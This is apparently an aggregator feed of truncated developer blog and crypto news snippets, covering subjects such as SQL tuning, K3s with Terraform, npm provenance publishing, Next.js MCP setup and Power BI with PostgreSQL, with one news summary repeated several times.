Deep Code Audit: fiat_rootkit_diagnostic.sys Audit Metadata SHA-256: u4v5w6x7y8z9a0b1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2x Author: Anonymous (post-1971 monetary prophet) Commit Hash: 2025-11-22 (base: Full-stack fiat indictment) Runtime: Civilisational daemon + temporal horizon stack Risk Tier: CIVILISATIONAL (reality stack annihilation) The System: The Bug: The Result: Rootkit—a hidden virus that rewires the system to favour gamblers over builders. It determines the structure of our relationships, the fidelity of our knowledge, and the quality of the things we build. Purpose of this Log: fiat_rootkit_diagnostic.sys is a nine-layer indictment of unbacked, inflating currency. The audit concludes that fiat is not merely policy; it is applied ontology. When the unit of account is de…  ( 10 min )

When Ads Become Helpful Suggestions Instead of Interruptions: Enter Monetzly 🌟 In today's fast-paced tech landscape, AI applications are rapidly proliferating. As a developer, you’ve probably faced the challenge of monetizing your innovative creations without compromising user experience. What if there was a way to turn this challenge into an opportunity? Meet Monetzly, the Google Ads for AI conversations, where contextual commerce meets seamless integration. Imagine your users engaged in a conversation with your AI application, and instead of being interrupted by irrelevant ads, they receive suggestions that enhance their experience. This is the power of context-aware commerce. With Monetzly, we leverage AI to match ads with ongoing conversations, creating a flow that feels natural an…  ( 7 min )

The rise of AI-powered development tools is reshaping how teams build digital products. Fresh Snapshot (2025): Teams using AI-assisted coding ship 28% faster. Automated testing reduces bugs by 31%. Multi-stack developers adopting AI workflows see 19% higher project success rates. The future belongs to developers who combine AI + engineering + multi-stack execution.  ( 6 min )

Beyond Gradients: Democratizing Global Optimization with Adaptive Search Tired of getting stuck in local minima when training complex machine learning models? Is hyperparameter tuning feeling more like a frustrating guessing game than a systematic process? Many real-world optimization problems are black boxes; we can't peek inside to calculate gradients, leaving us groping in the dark. What if there were a way to efficiently navigate these complex landscapes without relying on gradient information? Enter adaptive search, a powerful technique that strategically explores the solution space, learning from each evaluation to intelligently guide the next. It's like having a smart scout who only reports back the most promising areas, saving you precious computational resources. The core idea i…  ( 7 min )

In enterprise environments with large data volumes, SQL queries can go from executing in seconds to taking minutes—or even hours—especially when they involve multiple tables, joins, and functions on indexed columns. In this post, I want to share a real-world experience optimizing an Oracle query that originally took far too long and how I drastically reduced its execution time by applying practical optimization techniques. It all began with a query that joined several tables across different schemas. Although the logic was correct, the execution time was unacceptable: Oracle was processing millions of rows without leveraging indexes effectively. After reviewing the execution plan, I identified several issues: Use of functions on indexed columns (like SUBSTR()), which invalidates index us…  ( 7 min )

1. Why Streaming Output Matters Let’s start with the pain. That delay breaks immersion. Users think your app froze. Meanwhile, your front-end is hoarding tokens like a dragon hoards gold — waiting to render them all in one go. Streaming output fixes that. Instead of waiting for completion, your app receives small chunks (“token pieces”) as soon as they’re ready — like hearing someone speak word by word instead of reading their full paragraph later. It’s not about making the model faster. It’s about making the experience smoother. Technically, streaming output is incremental HTTP (or WebSocket) delivery. Token-by-token generation – LLMs don’t produce full sentences in one go; they predict tokens sequentially. Real-time pushing – each token (or short chunk) is sent back through a streaming…  ( 8 min )

In 2025, typing “best way to cancel a flight on X airline” into a browser rarely gives you just ten blue links anymore. You get: a one‑sentence summary, a step‑by‑step list, maybe even a “people also asked” carousel that weirdly reads your mind. Under the hood, that’s not “just a better search algorithm”. It’s a stack of question–answering (QA) systems: some reason over structured knowledge graphs, some run deep neural networks over raw web pages, and many glue the two together. This piece breaks down how that stack actually works, based on a production‑grade design similar to QQ Browser’s intelligent Q&A system.fileciteturn0file0 We’ll walk through: Where QA shows up in real products The two core paradigms: KBQA and DeepQA + MRC How a knowledge‑graph Q&A system is wired How search…  ( 15 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Are you looking for a way to spin up a lightweight, throwaway Kubernetes cluster on your local machine without the overhead of Docker Desktop or Minikube? Or maybe you want to simulate a multi-node environment to test node affinity and failover? In this article, we'll show you how to build a multi-node K3s cluster completely from code using the Multipass Terraform Provider. Multipass: Canonical's lightweight VM manager for Linux, Windows, and macOS. It spins up Ubuntu instances in seconds. Terraform: The industry standard for Infrastructure as Code (IaC). It manages the lifecycle, dependencies, and configuration of your VMs. K3s: A highly available, certified Kubernetes distribution designed for production workloads in unattended, resource-constrained, remote locations or inside IoT …  ( 8 min )

The Problem With the flurry of new LLMs published almost daily, it may be I built (with Claude Code help) a simple CLI app to list available models for the major providers. $ ./llm_models.py -h usage: llm_models.py [-h] -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} [-r REGION] List available LLM models from various providers options: -h, --help show this help message and exit -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI}, --provider {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} The LLM provider backend. - 'GoogleAI': Google AI Studio (API Key). Global/Auto-routed. - 'VertexAI': Google Cloud Vertex AI (IAM Auth). Region-specific. -r REGION, --region REGION Google Cloud region (e.g., 'us-central1'). *Required* if provider is VertexAI. Ignored for other providers. $ ./llm_models.py -p Anthropic Listing available Anthropic models... ================================================================================ Model: claude-haiku-4-5-20251001 (Claude Haiku 4.5) Model: claude-sonnet-4-5-20250929 (Claude Sonnet 4.5) Model: claude-opus-4-1-20250805 (Claude Opus 4.1) Model: claude-opus-4-20250514 (Claude Opus 4) Model: claude-sonnet-4-20250514 (Claude Sonnet 4) Model: claude-3-7-sonnet-20250219 (Claude Sonnet 3.7) Model: claude-3-5-haiku-20241022 (Claude Haiku 3.5) Model: claude-3-haiku-20240307 (Claude Haiku 3) Model: claude-3-opus-20240229 (Claude Opus 3) $ git clone git@github.com:ljbuturovic/llm_models.git $ python3 -m venv venv $ source venv/bin/activate $ ./llm_models.py -p GoogleAI Give it a try and let me know what you think in the comments!  ( 6 min )

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The platform introduces a unified gateway that allows issuers and users to move tokens from any ecosystem into Solana.  ( 34 min )

Bitcoin and major altcoins bounced Sunday after an oversold RSI reading and more than $200M in liquidations signaled seller exhaustion amid thin weekend liquidity.  ( 35 min )

Not all agree with some recent sentiment that stablecoins pose a threat to global financial stability.  ( 37 min )

This gap could create a "price dislocation" between on-chain and traditional markets, leading to potential losses or arbitrage opportunities.  ( 36 min )

The divergence emerged when newer nodes accepted a malformed transaction that older nodes rejected.  ( 35 min )

Jan van Eck questioned whether Bitcoin offers enough encryption and privacy, saying some longtime holders are examining Zcash as the market reassesses long-term assumptions.  ( 37 min )

Grayscale's report comes shortly after it filed to convert its Chainlink Trust into an exchange-traded fund (ETF) that would trade on NYSE Arca.  ( 34 min )

Large language models (LLMs) have astounded the world with their capabilities, yet they remain plagued by unpredictability and hallucinations – confidently outputting incorrect information. In high-stakes domains like finance, medicine or autonomous systems, such unreliability is unacceptable. Enter Lean4, an open-source programming language and interactive theorem prover becoming a key tool to inject rigor and certainty into AI systems. By leveraging formal verification, Lean4 promises to make AI safer, more secure and deterministic in its functionality. Let's explore how Lean4 is being adopted by AI leaders and why it could become foundational for building trustworthy AI. What is Lean4 and why it matters Lean4 is both a programming language and a proof assistant designed for formal veri…

Google Analytics 4 killed the old attribution reports and replaced them with... well, something that requires a PhD to understand. Or at least that's what it feels like when you first open the Attribution section and see "data-driven attribution" with zero explanation of what data it's actually using. Here's the thing: you don't need a data analyst to build useful multi-touch attribution models in GA4. You need to understand what GA4 actually tracks, set up a few custom dimensions correctly, and use Explorations in ways Google's documentation barely mentions. I've spent the last year building attribution frameworks for clients who can't afford a full analytics team. Some work brilliantly. Some fall apart when you realize GA4 doesn't track what you thought it tracked. Here's what actually w…  ( 12 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Mintlify users have been begging for pre-filled API playground fields for months. The GitHub discussion has people literally saying "I just lost two hours of my day banging my head against this issue." The problem? When you click "Try it" in Mintlify's playground, every field is empty, even though your OpenAPI spec has perfectly good example values sitting right there. Your developers have to manually type or copy-paste data just to test a single endpoint. It's 2025. This is insane. So we built madrasly. Run npx madrasly your-spec.json output-dir and you get a fully interactive API playground with all fields pre-populated from your OpenAPI examples. Path parameters, query params, request bodies—everything just works. One command, zero configuration, and your developers can actually test your API without wanting to throw their laptop. Check out the live demo or grab it from GitHub. If Mintlify won't fix it, we will.  ( 6 min )

🎉 Exciting News! My project, repoal, has just launched its first version on NPM! You can install it using: npm install -g @whyang9701/repopal or run it directly with: npx @whyang9701/repopal Choosing a Name: I decided to use a scoped name for my project. This means it will be associated with my username. For example, an unscoped package like vue is just a project name and can't be reused. In contrast, a scoped package like @vue/shared is linked to the Vue organization. I went with a scoped name to avoid confusion and connect it to me. Automating the Publish Process: I used GitHub Actions to automate my publishing. GitHub has a tutorial that shows how to set this up. I modified the YAML file to trigger the publish process when I create a new git tag: name: Node.js Package on: push: tags: - 'v*' jobs: ... To update the version and push the tag, I run: npm version 1.0.0 git push && git push --tags This automation will kick in every time I update the version. Adding Provenance Statements: I also added a feature for provenance statements, which help verify where the package was built and who published it. This can enhance security. NPM provides a tutorial on how to do this. In my GitHub Actions YAML, I made two updates: Allow the runner to read the repo and use my ID token for verification: ... runs-on: ubuntu-latest permissions: contents: read id-token: write steps: ... - run: npm publish --provenance --access public Here's a green check mark that shows my publish comes with provenance statements! This check mark indicates that my package has verified information, improving supply-chain security.  ( 7 min )

From the Void to the Verified Commit There is a specific kind of magic that happens when a programmer stares at a blank page. To the uninitiated, it is just a text editor; to me, it is the void before creation. I am not merely writing algorithms; I am breathing life into a vacuum. I am building a world. The paradox of this craft is energy. I can finish a grueling day at my "regular" job, feeling the weight of the world on my shoulders, completely drained. Yet, the moment I sit down to work on my passion project, that fatigue is stripped away as if by an invisible hand. Sleep becomes obsolete. Who needs sleep when the project itself feeds you energy? The code becomes a current running through my veins. There are nights when the cognitive load becomes so immense, so crushing, that I feel m…  ( 8 min )

As an engineering manager, communicating effectively is one of your most important skills. You’re not just managing code or technical designs; you’re leading people—team members, stakeholders, and collaborators. Bad communication can lead to misunderstandings, missed deadlines, and low morale, while good communication builds trust, fosters collaboration, and drives success. Here are practical and easy-to-apply communication tips specifically for engineering managers to help you become a better leader and build stronger teams. One of the most overlooked communication skills is listening. Being a good listener means more than just hearing words; it means understanding the speaker’s emotions, intentions, and concerns. Give your full attention. Avoid distractions like phones or email during co…  ( 9 min )

AI that doesn’t assist — it works. I just built Autonomous Process Auditor (APA) for the Agentic AI Hackathon (IBM watsonx Orchestrate) — and it might be the most useful AI agent I’ve ever created. Audits suck. So I built an AI agent that does 100% of the auditing work automatically. Automates end-to-end auditing No more spreadsheets. No more human mistakes. Validates workflows across tools Slack, Jira, Notion, Gmail, internal systems — APA checks everything. Detects anomalies in real time Human reviewers catch mistakes late. AI catches them instantly. Generates audit trails automatically Every action. Every timestamp. Fully traceable & exportable. Uses IBM watsonx Orchestrate to chain skills APA can: Pull data Analyze patterns Flag issues Write reports Notify teams Log results —all without human intervention. Most “AI assistants” still need humans for everything important. Agentic AI system that completes tasks autonomously from start to finish. This is the future of work. agents that handle entire workflows. …then maybe I need to build an Autonomous Judge Auditor too 😤🔥 Would you trust an AI agent to run audits at your company? Let’s talk 👇  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

The task is to find two numbers that sum to 0 and return their indices, given an array of integers. The boilerplate code: function findTwo(arr) { // your code here } The array is scanned through once, while keeping track of every character seen const map = new Map(); For each number x, check if -x has been seen before. If yes, return both indices. for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } If no pairs sum to 0, return null. The final code function findTwo(arr) { // your code here const map = new Map(); for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } return null; } That's all folks!  ( 6 min )

const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; O cDB precisa das variáveis, não existe 1 personagem só, não tem sentido ter 50 itens jogados sem identificação, tem que ser assim: PersonagemA = { Dados APENAS do Personagem A } O cDB é o "banco" que guarda tudo junto, mas todos são Idependentes, não variáveis independentes jogadas, cada uma pertence a um Personagem, mas todos pertencem ao Banco, e ficam guardadas nele. Isso não faz sentido nenhum: const cDB = [ Dado do quê? De quem? De onde? Qual? Mas não funciona quando crio o Banco: E nele coloco os itens: Nenhum funciona: O código parece não encontrar os itens dentro da variável que tem outras variáveis; const id = item.dataset.char; const data = cDB[id] ?? {}; Isso define os estilos, cada personagem é estilizado com sua paleta própria, nenhum item é rígido, só o estilo da página e como tudo se encaixa, textos, cores, efeitos, tudo é diferente pra cada um. Ele não encontra os dados dentro do cDB.  ( 6 min )

const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; The cDB needs the variables, there is no such thing as 1 character, it makes no sense to have 50 items thrown without identification, it has to be like this: CharacterA = { Data ONLY for Character A } The cDB is the "bank" that keeps everything together, but they are all Independent, not independent variables thrown, each one belongs to a Character, but they all belong to the Bank, is to go to cDB and search the ID, no to go randomly to every folder searching to file.js file2.js and are stored in it. This makes no sense at all: const cDB = [ Given what? Whose? Whence? Which? But it doesn't work when I create the Bank: And in it I put the items: None of them work: The code does not seem to find the items within the variable that have other variables; const id = item.dataset.char; const data = cDB[id]?? {}; This defines the styles, each character is styled with its own palette, no item is rigid, just the style of the page and how everything fits, texts, colors, effects, everything is different for each one. It does not find the data inside the cDB.  ( 7 min )

Summary When we think of virtual offices, we often imagine 3D spaces like Minecraft or VRChat, or 2D environments like Gather, but that's not all there is. Enter the "Light-weight Virtual Office" For example, Miro can be considered a board-type virtual office. Tools like Google Docs and Box Notes can be seen as note-type virtual offices. The lightweight virtual office pairs well with collaborative daily reports. The necessity of virtual offices is often emphasized because they offer a balanced approach between real and virtual interactions. Meeting in person can be burdensome in terms of daily life, while full remote or flexible work models may not foster enough engagement due to difficulties in gathering effectively. Virtual offices provide a good option by allowing people to "gather…  ( 9 min )

TL;DR CinemaSins takes a fresh look at The Wiz (now that Wicked is back in theaters) with a rapid-fire “Everything Wrong With The Wiz In 15 Minutes Or Less” video. They highlight the sins of the film, introduce their writers, and point you toward their YouTube channels, social media, and website for more content. They also invite fans to fill out a quick poll, join their Discord and Reddit communities, and support the team on Patreon for exclusive perks. Follow them on Twitter, Instagram, TikTok, and more for daily movie critiques and behind-the-scenes fun. Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins serves up their signature snark in a bite-sized roast of the new KPop Demon Hunters movie, rattling off every plot hole, trope and over-the-top moment in just 16 minutes. Dive deeper at cinemasins.com or catch more sin-filled content on YouTube via TVSins, CommercialSins and the CinemaSins Podcast Network. Hungry for more? Hit their Linktree for polls, Patreon support and all the socials—Twitter, Instagram, TikTok, Discord and Reddit. Big shout-out to sin scribes Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the cinematic guilt trip hilarious. Watch on YouTube  ( 6 min )

Reading time: 9 minutes PageSpeed optimization isn't new. Google released Lighthouse in 2016, and performance best practices have been documented for years. You might expect that by 2025, most professional websites would score well. The opposite is true. Modern websites are often slower than sites built five years ago. Despite faster networks and more powerful devices, the average website in 2025 is heavier, more complex, and performs worse than its predecessors. Why? The complexity creep: Modern frameworks ship more JavaScript by default Analytics, marketing pixels, and chat widgets accumulate over time High-resolution images and videos are now standard Third-party integrations (payment processors, CRMs, booking systems) each add overhead "It works on my machine" testing misses real-world…  ( 14 min )

A lightweight, command-line alternative to complex ticketing systems. Using golang and cobra-cli, I built a simple command-line interface for managing support tickets. Tickets are stored locally in a CSV file. As developers, we often find ourselves juggling multiple tasks, bugs, and feature requests. While tools like Jira, Trello, or GitHub Issues are powerful, sometimes you just need something simple, fast, and local to track your daily work without leaving the terminal. That's why I built Ticket CLI—a simple command-line tool written in Go to track daily tickets and store them in a CSV file. No servers, no databases, just a binary and a text file. For this project, I choose: Go: For its speed, simplicity, and ability to compile into a single binary. Cobra: The industry standard for bui…  ( 8 min )

Over the past two years, large language models have moved from research labs to real-world products at an incredible pace. What began as a single API call quickly evolves into a distributed system touching compute, networking, storage, monitoring, and user experience. Teams soon realize that LLM engineering is not prompt engineering — it’s infrastructure engineering with new constraints. Traditional software systems are built around predictable logic and deterministic flows. LLM applications are different in four ways: Even a small prompt can require billions of GPU operations. Latency varies dramatically based on: token length (prompt + output) GPU generation batching efficiency model architecture (transformer vs. MoE) As a result, you must design for latency spikes, not averages. The sam…  ( 9 min )

🧩 The Problem When you work with microservices in AWS (especially in ECS, EKS, or internal applications inside a VPC), sooner or later you need to expose a REST endpoint through Amazon API Gateway, but without making your backend public. For many years, the only “official” way to integrate API Gateway (REST) with a private Application Load Balancer (ALB) was by placing a Network Load Balancer (NLB) in the middle. This created three common issues in real-world projects: More infrastructure than necessary (ALB + NLB just to create a bridge). Higher latency because traffic needed to make an extra hop. More cost and operational overhead: two load balancers to monitor, scale, and secure. For students or small teams, this architecture was confusing and far from intuitive: “Why do I need an NL…  ( 8 min )

I'm a senior software engineer with almost six years of experience, mostly in Rails and React. For the past several years, I've been the only engineer at my company. I've worked on teams before. I know the value of code review, of someone asking "why not just...?" before you're three layers deep in a bad abstraction. I miss that. So I'm trying to build it for myself, here. This series is called "Am I Doing This Right?" and the premise is simple: I'll walk through something I've built or a decision I've made, explain my reasoning, and invite you to weigh in. Tell me how your team does it. Tell me I'm overcomplicating it. Tell me about the footgun I haven't noticed yet. I'm not looking for validation. I'm looking for the perspective that comes from working with other engineers—something I don't get day-to-day. First up: a GitHub Actions workflow that posts to Slack with recent commits and links to SOPs whenever we deploy. It's a small thing, but it touches CI/CD, team communication, and documentation habits, so there's plenty to pick apart.  ( 6 min )

Hi lovely readers, C# 14 just arrived with .NET 10, and it brings a fun little feature that makes custom types feel even more like built in ones. You can now decide what happens when someone writes myValue++ or myValue-- on your type. This was possible before, but only with static methods that returned a new instance. C# 14 adds a new way to do it. You can now write instance operators that update the object directly. It is simple, it is clean, and it can help performance too. In this post, we are going to take a friendly look at this feature and how you can try it out. Keep in mind that you need to have .NET 1- installed in order to test this out. If you have ever created a numeric style type, you probably have used ++ to increment the number by one, or -- to decrement the number by one. N…  ( 8 min )

The MCP server functionality is built in starting from Next.js 16 and doesn't require any additional configuration in the settings files. The path to the MCP server API is /_next/mcp. Assuming your dev server is running on the port number 5002, do the following: In the .vscode folder in the root of your project, create a mcp.json file. Put the following content inside it: { "servers": { "nextjs-mcp": { "url": "http://localhost:5002/_next/mcp", "type": "http" } }, "inputs": [] } Save the file. Run your project's dev server. Open Copilot Chat. Ask something specific to Next.js, for example: nextjs devtools, are there any build errors? If prompted, allow running the MCP server and executing actions. In our case, the answer was: No Next.js devtools build errors are currently reported. Let me know if you want me to keep monitoring or run a build/test explicitly. Now let's ask what the MCP server could do for us: nextjs devtools, tell me what you are able to do? I’m connected to the Next.js devtools MCP server, so I can pull diagnostics like build/runtime errors, fetch the dev-server logs, list app/pages routes, and inspect server actions. If you need anything along those lines—checking status, seeing routes, digging into errors—just let me know which detail you want. Enjoy, and happy vibe coding!  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Building My Portfolio: From Idea to Launch After weeks of development, my portfolio is finally live! Here's the journey. As a full-stack developer, I needed a central place to showcase my work... Framework: Next.js 14 (App Router) Styling: Tailwind CSS CMS: Sanity Deployment: Vercel • Multi-platform scheduling (Instagram, Twitter, LinkedIn, etc.) • Interactive recipe builder with step-by-step instructions • Clean, modern design Performance Optimization Used Next.js Image component Lazy loading for projects Lighthouse score: 95+ CMS Integration Sanity for blog posts Dynamic project pages ISR for performance Ship fast, iterate later Performance matters Keep it simple Regular blog posts More case studies Open to freelance work! Check it out: https://azam-six.vercel.app/me  ( 6 min )

As Scotland's qualification for the 2026 FIFA World Cup was confirmed by the BBC, football fans worldwide are eagerly awaiting the tournament. With three host cities announced in the United States (Dallas, Houston, Atlanta), Canada (Toronto and Vancouver), and Mexico (Guadalajara, Mexico City, and Monterrey), excitement is building around these cities' preparations for the big event. Each of the 16 host cities will require significant investments to enhance their infrastructure. From state-of-the-art stadiums to expanded transportation networks, every aspect of these cities' facilities will be upgraded or built from scratch. Key Developments in Each Host City Stadiums: Dallas's AT&T Stadium (home of the Cowboys) and Houston's NRG Stadium are among the most modern sports venues globally. …  ( 7 min )

Power BI connects smoothly to both cloud-hosted and local PostgreSQL databases once you know where to enter the right details. This guide explains the simplest possible process for connecting Power BI to: PostgreSQL hosted on Aiven, and PostgreSQL running locally on your machine All steps below match screenshot placeholders so you can insert your images exactly where they belong. Connecting Power BI to PostgreSQL on Aiven Step 1: Open Power BI and Start a Blank Report Launch Power BI Desktop. Step 2: Enter Aiven Connection Details In Aiven: Open the Aiven Console Click Services Select your PostgreSQL service View your connection information (host, port, database) Use these values in Power BI: Server: host:port Database: your Aiven PostgreSQL database name Data Connectivity Mode: Import Step 3: Enter Aiven Credentials Power BI now prompts for authentication. Use: Username: Aiven database user Password: the associated password Step 4: Choose Tables in the Navigator Power BI opens the Navigator panel. The data imports and appears in the Power BI report interface. Connecting Power BI to PostgreSQL on Localhost The process is almost identical — only the connection details change. Step 1: Open Power BI → Blank Report → Get Data → PostgreSQL Step 2: Enter Localhost Database Details Fill the fields with your local PostgreSQL configuration: Server: localhost:5432 Database: usually postgres or your custom database name Data Connectivity Mode: Import Step 3: Enter Local Credentials Typical local PostgreSQL credentials: Username: postgres Password: your local password Step 4: Select Tables → Load Choose your tables in the Navigator → click Load → Power BI imports the data. Screenshot here: Navigator showing local PostgreSQL tables. Conclusion Connecting Power BI to PostgreSQL is straightforward once you know which values to enter. Aiven uses a cloud host and port, while your local setup uses localhost. After that, both connections behave exactly the same inside Power BI.  ( 7 min )

Originally published on Medium: https://medium.com/@kalluripradeep99/from-raw-to-refined-data-pipeline-architecture-at-scale-52cd4b02ef10 How I built production data pipelines that process massive volumes daily — and what I learned along the way Every day, modern data platforms handle hundreds of gigabytes of data — transactions, customer activity, event streams, operational reports. All of this needs to flow from messy source systems into clean, reliable tables that teams can use for dashboards, reports, and ML models. Here’s what surprised me after years of building these systems: moving data isn’t the hard part. Making it reliable at scale is. I’ve debugged pipelines that silently corrupted data for weeks. I’ve seen duplicate records inflate ML model accuracy by double digits. I’ve wat…  ( 15 min )

The AI Industry Has a Truth Problem: Here’s How I See It Jaideep Parashar ・ Nov 22 #ai #discuss #learning #career  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

The "write once, run anywhere" promise? It only works in ONE direction. And web developers keep getting the short end of the stick. I spent two months learning React Native, coming from a solid React background. Beyond the learning curve, there's a fundamental architectural asymmetry in cross-platform development. Flutter developers can build web apps with one command: flutter build web React developers trying to go mobile? npm install react-native # Welcome to a parallel universe (Hell) This isn't about tooling. It's about fundamental architecture. React Native isn't "React for mobile." It's React-flavored syntax wrapped around an entirely different system: Different components: vs , vs Different styling: StyleSheet objects (not CSS) Different everything: Met…  ( 8 min )

Robotino Tutorials Below are a series of videos for getting started with Robotino View - It's free! Feel free to download and try it out for yourself! Getting started using Festo Robotino View. Festo Robotino View & Robotino Sim - Steps and Transitions How to deal with steps and transitions in robotino view Festo Robotino View & Robotino Sim - Obstacle Avoidance In this video, we write a simple program to make the robotino avoid obsticals  ( 6 min )

I didn’t grow up thinking I’d ever spend this much time with a pencil in my hand. For most of my life, drawing was something I did on the edges of things—on the corners of notebooks, on scrap paper during long briefings, on whatever was around when I needed to clear my head. I never called it art. I just called it breathing room. After I retired from the Army, I didn’t expect things to hit as hard as they did. People talk about transition like it’s a door you walk through. You leave the uniform at one side, and you step into your new life on the other. But I learned real quick it’s not a door. It’s a long hallway, and sometimes the lights flicker, and the floor creaks, and you can’t tell if you’re moving forward or just pacing in circles. I didn’t want to talk about it with anyone. My sist…  ( 10 min )

The specter of an atomic catastrophe looms large over our modern world. Despite significant strides in nuclear disarmament and non-proliferation, the risks associated with nuclear weapons and nuclear power remain high. The potential for an atomic event, whether through deliberate use of nuclear weapons, an accident at a nuclear power plant, or a terrorist attack, poses a severe threat to global security and stability. This article explores the various scenarios that could lead to an atomic catastrophe and discusses the measures needed to prevent such an event. Scenarios Leading to an Atomic Catastrophe Nuclear Warfare The threat of nuclear warfare, while reduced since the Cold War, still persists. Several countries possess nuclear arsenals capable of causing unprecedented destruction. Geo…  ( 8 min )

When we talk about software distribution, the conversation usually starts and ends with binaries. We download them, install them, and run them, and the process feels simple enough. Yet a binary that works on your system is the result of many decisions that developers and packagers quietly make behind the scenes. These decisions determine not only where the binary runs, but how its supporting files are found, resolved, and loaded. This article looks at the parts of binary distribution that developers often overlook. It explores how binaries are made globally accessible, how tools ensure the right files exist at runtime, and why these details matter more than most people think. When a binary is compiled, it contains machine instructions for a specific architecture and often for a specific op…  ( 9 min )

